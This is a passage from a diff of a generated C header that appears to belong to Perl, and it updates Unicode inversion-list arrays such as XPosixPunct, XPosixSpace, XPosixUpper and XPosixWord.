0xA880, + 0xA8C6, 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE56, - 0xFE58, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, + 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, + 0xAB70, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xE000, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, 0xFF01, - 0xFF02, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, - 0x11047, - 0x11049, - 0x110BE, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, + 0x10980, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, 0x110C2, - 0x11141, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, + 0x11150, + 0x11177, + 0x11180, 0x111CE, - 0x111DE, + 0x111D0, 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, 0x112AA, - 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11C41, - 0x11C43, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, 0x16A6E, 0x16A70, - 0x16AF5, + 0x16AD0, + 0x16AEE, + 0x16AF0, 0x16AF6, - 0x16B37, - 0x16B39, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA88, - 0x1DA89 + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__ST_invlist[] = { /* for EBCDIC 037 */ - 131, /* Number of elements */ +static const UV XPosixPunct_invlist[] = { /* for ASCII/Latin1 */ + 327, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x5A, + 0x21, + 0x30, + 0x3A, + 0x41, 0x5B, - 0x6F, - 0x70, + 0x61, + 0x7B, + 0x7F, + 0xA1, + 0xA2, + 0xA7, + 0xA8, + 0xAB, + 0xAC, + 0xB6, + 0xB8, + 0xBB, + 0xBC, + 0xBF, + 0xC0, + 0x37E, + 0x37F, + 0x387, + 0x388, + 0x55A, + 0x560, 0x589, - 0x58A, - 0x61F, + 0x58B, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5F3, + 0x5F5, + 0x609, + 0x60B, + 0x60C, + 0x60E, + 0x61B, + 0x61C, + 0x61E, 0x620, + 0x66A, + 0x66E, 0x6D4, 0x6D5, 0x700, - 0x703, - 0x7F9, + 0x70E, + 0x7F7, 0x7FA, + 0x830, + 0x83F, + 0x85E, + 0x85F, 0x964, 0x966, + 0x970, + 0x971, + 0xAF0, + 0xAF1, + 0xDF4, + 0xDF5, + 0xE4F, + 0xE50, + 0xE5A, + 0xE5C, + 0xF04, + 0xF13, + 0xF14, + 0xF15, + 0xF3A, + 0xF3E, + 0xF85, + 0xF86, + 0xFD0, + 0xFD5, + 0xFD9, + 0xFDB, 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, + 0x1050, + 0x10FB, + 0x10FC, + 0x1360, 0x1369, - 0x166E, + 0x1400, + 0x1401, + 0x166D, 0x166F, + 0x169B, + 0x169D, + 0x16EB, + 0x16EE, 0x1735, 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DB, + 0x1800, + 0x180B, 0x1944, 0x1946, + 0x1A1E, + 0x1A20, + 0x1AA0, + 0x1AA7, 0x1AA8, - 0x1AAC, + 0x1AAE, 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, + 0x1B61, + 0x1BFC, + 0x1C00, 0x1C3B, - 0x1C3D, + 0x1C40, 0x1C7E, 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, + 0x1CC0, + 0x1CC8, + 0x1CD3, + 0x1CD4, + 0x2010, + 0x2028, + 0x2030, + 0x2044, + 0x2045, + 0x2052, + 0x2053, + 0x205F, + 0x207D, + 0x207F, + 0x208D, + 0x208F, + 0x2308, + 0x230C, + 0x2329, + 0x232B, + 0x2768, + 0x2776, + 0x27C5, + 0x27C7, + 0x27E6, + 0x27F0, + 0x2983, + 0x2999, + 0x29D8, + 0x29DC, + 0x29FC, + 0x29FE, + 0x2CF9, + 0x2CFD, + 0x2CFE, + 0x2D00, + 0x2D70, + 0x2D71, + 0x2E00, 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, + 0x2E30, + 0x2E45, + 0x3001, + 0x3004, + 0x3008, + 0x3012, + 0x3014, + 0x3020, + 0x3030, + 0x3031, + 0x303D, + 0x303E, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0xA4FE, 0xA500, - 0xA60E, + 0xA60D, 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, 0xA6F8, - 0xA876, + 0xA874, 0xA878, 0xA8CE, 0xA8D0, - 0xA92F, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA92E, 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, + 0xA95F, + 0xA960, + 0xA9C1, + 0xA9CE, + 0xA9DE, + 0xA9E0, + 0xAA5C, 0xAA60, + 0xAADE, + 0xAAE0, 0xAAF0, 0xAAF2, 0xABEB, 0xABEC, - 0xFE56, - 0xFE58, + 0xFD3E, + 0xFD40, + 0xFE10, + 0xFE1A, + 0xFE30, + 0xFE53, + 0xFE54, + 0xFE62, + 0xFE63, + 0xFE64, + 0xFE68, + 0xFE69, + 0xFE6A, + 0xFE6C, 0xFF01, - 0xFF02, + 0xFF04, + 0xFF05, + 0xFF0B, + 0xFF0C, + 0xFF10, + 0xFF1A, + 0xFF1C, 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, + 0xFF21, + 0xFF3B, + 0xFF3E, + 0xFF3F, + 0xFF40, + 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF66, + 0x10100, + 0x10103, + 0x1039F, + 0x103A0, + 0x103D0, + 0x103D1, + 0x1056F, + 0x10570, + 0x10857, + 0x10858, + 0x1091F, + 0x10920, + 0x1093F, + 0x10940, + 0x10A50, + 0x10A59, + 0x10A7F, + 0x10A80, + 0x10AF0, + 0x10AF7, + 0x10B39, + 0x10B40, + 0x10B99, + 0x10B9D, 0x11047, - 0x11049, + 0x1104E, + 0x110BB, + 0x110BD, 0x110BE, 0x110C2, - 0x11141, + 0x11140, 0x11144, + 0x11174, + 0x11176, 0x111C5, - 0x111C7, + 0x111CA, 0x111CD, 0x111CE, - 0x111DE, + 0x111DB, + 0x111DC, + 0x111DD, 0x111E0, 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, + 0x1123E, 0x112A9, 0x112AA, 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, + 0x11450, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x114C6, + 0x114C7, + 0x115C1, 0x115D8, 0x11641, - 0x11643, + 0x11644, + 0x11660, + 0x1166D, 0x1173C, 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, 0x11C41, - 0x11C43, + 0x11C46, + 0x11C70, + 0x11C72, + 0x12470, + 0x12475, 0x16A6E, 0x16A70, 0x16AF5, 0x16AF6, 0x16B37, - 0x16B39, + 0x16B3C, 0x16B44, 0x16B45, 0x1BC9F, 0x1BCA0, - 0x1DA88, - 0x1DA89 + 0x1DA87, + 0x1DA8C, + 0x1E95E, + 0x1E960 }; -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ +static const UV XPosixSpace_invlist[] = { /* for ASCII/Latin1 */ + 21, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x9, + 0xE, + 0x20, + 0x21, + 0x85, + 0x86, + 0xA0, + 0xA1, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; -static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ - 1271, /* Number of elements */ +static const UV XPosixUpper_invlist[] = { /* for ASCII/Latin1 */ + 1265, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -335385,11 +28992,11 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1BC, 0x1BD, 0x1C4, - 0x1C6, + 0x1C5, 0x1C7, - 0x1C9, + 0x1C8, 0x1CA, - 0x1CC, + 0x1CB, 0x1CD, 0x1CE, 0x1CF, @@ -335425,7 +29032,7 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1EE, 0x1EF, 0x1F1, - 0x1F3, + 0x1F2, 0x1F4, 0x1F5, 0x1F6, @@ -336036,22 +29643,16 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0x1F60, 0x1F68, 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, 0x1FB8, - 0x1FBD, + 0x1FBC, 0x1FC8, - 0x1FCD, + 0x1FCC, 0x1FD8, 0x1FDC, 0x1FE8, 0x1FED, 0x1FF8, - 0x1FFD, + 0x1FFC, 0x2102, 0x2103, 0x2107, @@ -336283,146 +29884,1404 @@ static const UV PL_SB__UP_invlist[] = { /* for ASCII/Latin1 */ 0xA69A, 0xA69B, 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA78B, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7AF, + 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xFF21, + 0xFF3B, + 0x10400, + 0x10428, + 0x104B0, + 0x104D4, + 0x10C80, + 0x10CB3, + 0x118A0, + 0x118C0, + 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4B6, + 0x1D4D0, + 0x1D4EA, + 0x1D504, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D538, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A8, + 0x1D6C1, + 0x1D6E2, + 0x1D6FB, + 0x1D71C, + 0x1D735, + 0x1D756, + 0x1D76F, + 0x1D790, + 0x1D7A9, + 0x1D7CA, + 0x1D7CB, + 0x1E900, + 0x1E922, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A +}; + +static const UV XPosixWord_invlist[] = { /* for ASCII/Latin1 */ + 1361, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x30, + 0x3A, + 0x41, + 0x5B, + 0x5F, + 0x60, + 0x61, + 0x7B, + 0xAA, + 0xAB, + 0xB5, + 0xB6, + 0xBA, + 0xBB, + 0xC0, + 0xD7, + 0xD8, + 0xF7, + 0xF8, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x300, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x483, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x610, + 0x61B, + 0x620, + 0x66A, + 0x66E, + 0x6D4, + 0x6D5, + 0x6DD, + 0x6DF, + 0x6E9, + 0x6EA, + 0x6FD, + 0x6FF, + 0x700, + 0x710, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7F6, + 0x7FA, + 0x7FB, + 0x800, + 0x82E, + 0x840, + 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E2, + 0x8E3, + 0x964, + 0x966, + 0x970, + 0x971, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC80, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 